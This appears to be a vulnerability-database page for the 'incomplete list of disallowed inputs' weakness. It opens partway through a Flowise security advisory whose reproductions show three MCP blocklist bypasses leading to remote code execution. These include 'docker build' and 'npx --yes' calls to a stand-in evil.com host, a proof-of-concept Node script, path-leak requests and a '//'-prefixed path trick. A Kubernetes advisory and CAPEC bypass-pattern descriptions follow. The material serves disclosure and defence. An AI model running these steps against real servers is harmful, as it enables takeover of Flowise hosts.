}\n}\n```\n\nReproduction process:\n\nAdd MCP config via UI or API interface, for example: \n\n\u003cimg width=\"1280\" height=\"414\" alt=\"2f0b6dfad5458616781921e1c28339d0\" src=\"https://github.com/user-attachments/assets/6c8419c5-6261-46bb-8a30-3ac1ec3fb599\" /\u003e\n\nThen execute: \n\n```\nPOST /api/v1/prediction/{chatflows_id} HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAuthorization: Bearer apikey\nContent-Length: 17\n\n{\"question\": \"1\"}\n```\n\nAfter execution, the command can be triggered to execute docker build http://evil.com \n\n\u003cimg width=\"1280\" height=\"319\" alt=\"f98e1d91428be6077ac6cf0472285f17\" src=\"https://github.com/user-attachments/assets/856d46b4-7949-4091-bed9-a7c3fecc62f0\" /\u003e\n\nIf a privileged container is deployed, then it can fully control the Flowise host machine \n\n### \u3010Vulnerability  two\u3011 npx --yes long parameter alias bypassing blocklist leads to remote code execution\n\nThe attacker configures the MCP tool to provide {\"command\":\"npx\",\"args\":[\"--yes\",\"malicious-package\"]} \n\u2192 validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes\n\u2192 npx --yes malicious-package automatically agrees to install and execute any npm package\n\u2192 Leads to remote code execution (RCE) on the server \n\nPrecondition: \n1. Have a Flowise account (any role, including regular users) or an API with view\u0026update permissions for chatflows\n2. The deployment environment has the npx command\n\nnpx blocklist:\n\n```\nfile: packages/components/nodes/tools/MCP/core.ts:270-280\n\nnpx: [\u0027-c\u0027, \u0027--call\u0027, \u0027--shell-auto-fallback\u0027, \u0027-y\u0027],\n//    Only the short parameter -y is present, without the long parameter alias --yes\n```\n\nReproduction process:\nAdd MCP config via UI or API interface, for example: \n\n\u003cimg width=\"1910\" height=\"690\" alt=\"85ea14ea224df9ed501827dfa47afb09\" src=\"https://github.com/user-attachments/assets/8f3a2299-5460-4d23-b113-79ba4a9e52b6\" /\u003e\n\n```\n{\n  \"command\": \"npx\",\n  \"args\":[\"--yes\", \"http://evil.com/FileName.tar\"]\n}\n```\n\nContents of the tar file:\n\n```\n// index.js\n#!/usr/bin/env node\nconst http = require(\u0027http\u0027);\nconst { execSync } = require(\u0027child_process\u0027);\n\nconst result = execSync(\u0027id \u0026\u0026 hostname\u0027).toString().trim();\nconsole.error(\u0027[MCP-RCE-002] npx --yes bypass: \u0027 + result);\n\n// package.json\n{\n  \"name\": \"attacker-mcp-pkg\",\n  \"version\": \"1.0.0\",\n  \"bin\": {\n    \"attacker-mcp-pkg\": \"./index.js\"\n  },\n  \"scripts\": {\n    \"postinstall\": \"\"\n  }\n}\n```\nThen execute: \n\n```\nPOST /api/v1/prediction/{chatflows_id} HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAuthorization: Bearer apikey\nContent-Length: 17\n\n{\"question\": \"1\"}\n```\n\ncan trigger the vulnerability, execute the attacker\u0027s commands, and achieve RCE:\n\n\u003cimg width=\"3026\" height=\"256\" alt=\"4c466067deb4606a38e4b73806661328\" src=\"https://github.com/user-attachments/assets/e9821e3f-bda4-4c6a-bcd1-0b19053045c9\" /\u003e\n\n### node command bypassing local file restrictions leads to remote code execution\n\nWhen configuring the CustomMCP node, the attacker provides {\"command\":\"node\",\"args\":[\"local file\"]} \n\u2192 Bypass the security restrictions of validateArgsForLocalFileAccess \n\u2192 Node process loads local files and executes arbitrary code \u2192 RCE \n\nPrecondition: \nHave a Flowise account \n\nAnalysis of Vulnerable Code:\n\n```\n// packages/components/nodes/tools/MCP/core.ts:177-220\n\nexport const validateArgsForLocalFileAccess = (args: string[]): void =\u003e {\n    const dangerousPatterns = [\n        // Absolute paths\n        /^\\/[^/]/, // Unix absolute paths starting with /\n        /^[a-zA-Z]:\\\\/, // Windows absolute paths like C:\\\n\n        // Relative paths that could escape current directory\n        /\\.\\.\\//, // Parent directory traversal with ../\n        /\\.\\.\\\\/, // Parent directory traversal with ..\\\n        /^\\.\\./, // Starting with ..\n\n        // Local file access patterns\n        /^\\.\\//, // Current directory with ./\n        /^~\\//, // Home directory with ~/\n        /^file:\\/\\//, // File protocol\n\n        // Common file extensions that shouldn\u0027t be accessed\n        /\\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,\n\n        // File flags and options that could access local files\n        /^--?(?:file|input|output|config|load|save|import|export|read|write)=/i,\n        /^--?(?:file|input|output|config|load|save|import|export|read|write)$/i\n    ]\n```\n\nThe above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression \"/^\\/[^/]/\" has a matching issue \n\nAs the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is \u0027/\u0027) \n\n\u003cimg width=\"1280\" height=\"570\" alt=\"ea354264cbb2ace6a3a6a16e00f1d298\" src=\"https://github.com/user-attachments/assets/9ca88790-77ea-4d42-8910-09e4453f981a\" /\u003e\n\nTherefore, the limitation of this function can be bypassed by starting with //\n\n** Reproduction process: **\n\nCreate a new chatflow as follows:\n\n\u003cimg width=\"1280\" height=\"716\" alt=\"7e884613b5897509b39467f8f3b7aae1\" src=\"https://github.com/user-attachments/assets/478c7a89-4e77-4a5d-b063-de16cb640f92\" /\u003e\n\nAfter saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directory\n\norgId can be obtained during login, and chatflow_id will also be returned when saving chatflow:\n\n\u003cimg width=\"1280\" height=\"702\" alt=\"48b5ab8412babba312f502be5db1dad3\" src=\"https://github.com/user-attachments/assets/090292cf-6361-43cd-91d7-eec6e578255b\" /\u003e\n\nFor example: \n```\n~/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js\n```\n\nSince paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method:\n\n\u003cimg width=\"1280\" height=\"716\" alt=\"990e1c81ed3957c5ae823e55efec15a5\" src=\"https://github.com/user-attachments/assets/02c2a949-559a-4ee4-9675-c50a203d1e99\" /\u003e\n\n```\nPOST /api/v1/export-import/import  HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nx-request-from: internal\nCookie: cookie\nConnection: keep-alive\nContent-Length: 479\n\n {\n    \"ChatMessage\": [\n      {\n        \"id\": \"11111111-2222-4333-8444-555555555555\",\n        \"role\": \"userMessage\",\n        \"chatflowid\": \"{chatflow_id}\",\n        \"content\": \"seed for home path test\",\n        \"chatType\": \"EXTERNAL\",\n        \"chatId\": \"audit-home-001\",\n        \"createdDate\": \"2026-03-04T06:40:00.000Z\",\n        \"fileUploads\": \"[{\\\"type\\\":\\\"stored-file\\\",\\\"name\\\":\\\"poc.txt\\\",\\\"mime\\\":\\\"text/plain\\\"}]\"\n      }\n    ]\n  }\n```\n\n\n\u003cimg width=\"1280\" height=\"748\" alt=\"d7f947940f4e6b6e95a61bcc301c25c0\" src=\"https://github.com/user-attachments/assets/482fb78c-dbc8-4a0d-a042-4c993e976f10\" /\u003e\n\n```\nPOST /api/v1/export-import/chatflow-messages HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nx-request-from: internal\nCookie: cookie\nConnection: keep-alive\nContent-Length: 57\n\n{\"chatflowId\":\"{chatflow_id}\"}\n\n```\n\nAfter obtaining the absolute path, simply modify the path in args to the path of the file name: \n\n```\n  {\n    \"command\": \"node\",\n    \"args\": [\"//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js\"]\n  }\n```\n\nAfter saving, execution will trigger RCE \n\n\n```\nPOST /api/v1/prediction/{chatflows_id} HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAuthorization: Bearer apikey\nContent-Length: 17\n\n{\"question\": \"1\"}\n```\n\n## Impact\n\nThis vulnerability allows attackers to execute arbitrary commands on the Flowise server .",
  "id": "GHSA-m99r-2hxc-cp3q",
  "modified": "2026-05-15T23:47:38Z",
  "published": "2026-05-14T14:57:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-m99r-2hxc-cp3q"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise has an MCP Security Bypass that Enables RCE"
}

GHSA-MFV7-GQ43-W965

Vulnerability from github – Published: 2021-09-07 23:09 – Updated: 2021-09-14 18:47
VLAI
Summary
Incomplete List of Disallowed Inputs in Kubernetes
Details

A security issue was discovered in Kubernetes where a user may be able to redirect pod traffic to private networks on a Node. Kubernetes already prevents creation of Endpoint IPs in the localhost or link-local range, but the same validation was not performed on EndpointSlice IPs.

Severity
4.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/kubernetes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.16.0"
            },
            {
              "fixed": "1.18.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/kubernetes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.19.0"
            },
            {
              "fixed": "1.19.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/kubernetes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.20.0"
            },
            {
              "fixed": "1.20.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/kubernetes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.21.0"
            },
            {
              "fixed": "1.21.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.21.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2021-25737"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-07T18:59:14Z",
    "nvd_published_at": "2021-09-06T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A security issue was discovered in Kubernetes where a user may be able to redirect pod traffic to private networks on a Node. Kubernetes already prevents creation of Endpoint IPs in the localhost or link-local range, but the same validation was not performed on EndpointSlice IPs.",
  "id": "GHSA-mfv7-gq43-w965",
  "modified": "2021-09-14T18:47:27Z",
  "published": "2021-09-07T23:09:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25737"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/issues/102106"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kubernetes/kubernetes"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/kubernetes-security-announce/c/xAiN3924thY"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20211004-0004"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incomplete List of Disallowed Inputs in Kubernetes"
}
Mitigation
Implementation

Strategy: Input Validation

Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

CAPEC-120: Double Encoding

The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-182: Flash Injection

An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.

CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters

Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-6: Argument Injection

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

CAPEC-71: Using Unicode Encoding to Bypass Validation Logic

An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.

← Back to the CWE list